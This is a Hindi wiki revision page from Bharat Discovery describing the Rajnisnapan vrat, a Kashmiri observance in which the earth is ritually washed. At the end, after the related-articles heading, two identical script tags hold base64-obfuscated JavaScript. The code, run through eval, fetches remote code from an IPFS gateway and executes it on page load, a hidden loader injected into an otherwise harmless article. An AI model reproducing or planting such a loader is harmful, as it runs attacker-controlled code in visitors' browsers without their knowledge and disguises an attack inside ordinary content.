राज्ञीस्नापन: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "उल्लखित" to "उल्लिखित")
m (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
Line 5: Line 5:
*[[पृथ्वी देवी|पृथ्वी]] [[सूर्य देव|सूर्य]] की रानी है। अत:यह नाम विख्यात हुआ है। <ref>कृत्यरत्नाकर (532-533, [[ब्रह्म पुराण]] से उद्धरण)</ref>
*[[पृथ्वी देवी|पृथ्वी]] [[सूर्य देव|सूर्य]] की रानी है। अत:यह नाम विख्यात हुआ है। <ref>कृत्यरत्नाकर (532-533, [[ब्रह्म पुराण]] से उद्धरण)</ref>
*नीलमतपुराण <ref>(नीलमतपुराण पृ0 54)</ref> ने इसे फाल्गुन कृष्ण पक्ष की [[पंचमी]] से [[अष्टमी]] तक माना है।  
*नीलमतपुराण <ref>(नीलमतपुराण पृ0 54)</ref> ने इसे फाल्गुन कृष्ण पक्ष की [[पंचमी]] से [[अष्टमी]] तक माना है।  
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

Revision as of 08:30, 21 March 2011

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • राज्ञीस्नाप चैत्र शुक्ल पक्ष की अष्टमी पर राज्ञीस्नापन व्रत किया जाता है।
  • चैत्र कृष्ण पक्ष की पंचमी से तीन दिनों तक कश्मीर की भूमि रजस्वला मानी जाती है।
  • प्रत्येक घर में सधवा स्त्रियों के द्वारा पुष्पों एवं चन्दन से धोयी जाती है और तब पुरुषों के द्वारा सर्वोषधियों से युक्त जल से धोयी जाती है। तब लोग बाँसुरी वादन सुनते हैं।
  • पृथ्वी सूर्य की रानी है। अत:यह नाम विख्यात हुआ है। [1]
  • नीलमतपुराण [2] ने इसे फाल्गुन कृष्ण पक्ष की पंचमी से अष्टमी तक माना है।

टीका टिप्पणी और संदर्भ

  1. कृत्यरत्नाकर (532-533, ब्रह्म पुराण से उद्धरण)
  2. (नीलमतपुराण पृ0 54)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>